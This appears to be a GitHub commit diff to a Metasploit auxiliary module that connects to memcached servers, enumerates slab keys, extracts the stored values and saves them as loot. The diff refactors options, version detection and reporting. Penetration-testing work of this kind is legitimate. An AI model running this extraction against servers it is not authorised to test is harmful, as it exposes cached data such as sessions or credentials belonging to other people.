Skip to content

Commit f593c7d

Browse files
committed
Merge pull request #1 from jhart-r7/landing-4596-jhart
Improvements to memcached gather module
2 parents db31852 + f1bf607 commit f593c7d

File tree

1 file changed

+41
-14
lines changed

1 file changed

+41
-14
lines changed

modules/auxiliary/gather/memcached_extractor.rb

Lines changed: 41 additions & 14 deletions
Original file line numberDiff line numberDiff line change
@@ -11,21 +11,32 @@ class Metasploit3 < Msf::Auxiliary
1111
include Msf::Auxiliary::Report
1212

1313
def initialize(info = {})
14-
super(update_info(info,
14+
super(update_info(
15+
info,
1516
'Name' => 'Memcached Extractor',
1617
'Description' => %q(
1718
This module extracts the slabs from a memcached instance. It then
1819
finds the keys and values stored in those slabs.
1920
),
2021
'Author' => [ 'Paul Deardorff <paul_deardorff[at]rapid7.com>' ],
21-
'License' => MSF_LICENSE
22+
'License' => MSF_LICENSE,
23+
'References' =>
24+
[
25+
['URL', 'https://github.com/memcached/memcached/blob/master/doc/protocol.txt']
26+
]
2227
))
2328

2429
register_options(
2530
[
26-
Opt::RPORT(11211),
27-
OptInt.new('MAXKEYS', [ true, 'Maximum number of keys to be pulled from a slab', 100] )
28-
], self.class)
31+
Opt::RPORT(11211)
32+
], self.class
33+
)
34+
35+
register_advanced_options(
36+
[
37+
OptInt.new('MAXKEYS', [true, 'Maximum number of keys to be pulled from a slab', 100])
38+
], self.class
39+
)
2940
end
3041

3142
def max_keys
@@ -80,19 +91,35 @@ def data_for_keys(keys = [])
8091
end
8192

8293
def determine_version
83-
sock.send("stats\r\n", 0)
94+
sock.send("version\r\n", 0)
8495
stats = sock.recv(4096)
85-
matches = /^STAT (?<version>version (\.|\d)*)/.match(stats)
86-
matches[:version] || 'unkown version'
96+
if /^VERSION (?<version>[\d\.]+)/ =~ stats
97+
version
98+
else
99+
nil
100+
end
87101
end
88102

89103
def run_host(ip)
90-
print_status("#{ip}:#{rport} - Connecting to memcached server...")
104+
peer = "#{ip}:#{rport}"
105+
vprint_status("#{peer} - Connecting to memcached server...")
91106
begin
92107
connect
93-
print_good("Connected to memcached #{determine_version}")
108+
if (version = determine_version)
109+
vprint_good("#{peer} - Connected to memcached version #{version}")
110+
report_service(
111+
host: ip,
112+
name: 'memcached',
113+
port: rport,
114+
proto: 'tcp',
115+
info: version
116+
)
117+
else
118+
print_error("#{peer} - unable to determine memcached protocol version")
119+
return
120+
end
94121
keys = enumerate_keys
95-
print_good("Found #{keys.size} keys")
122+
print_good("#{peer} - Found #{keys.size} keys")
96123
return if keys.size == 0
97124

98125
data = data_for_keys(keys)
@@ -106,11 +133,11 @@ def run_host(ip)
106133
print_line
107134
print_line("#{result_table}")
108135
else
109-
store_loot('memcached.dump', 'text/plain', ip, data, 'memcached.txt', 'Memcached extractor')
110-
print_good("Loot stored!")
136+
path = store_loot('memcached.dump', 'text/plain', ip, data, 'memcached.txt', 'Memcached extractor')
137+
print_good("#{peer} - memcached loot stored as #{path}")
111138
end
112139
rescue Rex::ConnectionRefused, Rex::ConnectionTimeout
113-
print_error("Could not connect to memcached server!")
140+
vprint_error("#{peer} - Could not connect to memcached server!")
114141
end
115142
end
116143
end

0 commit comments

Comments
 (0)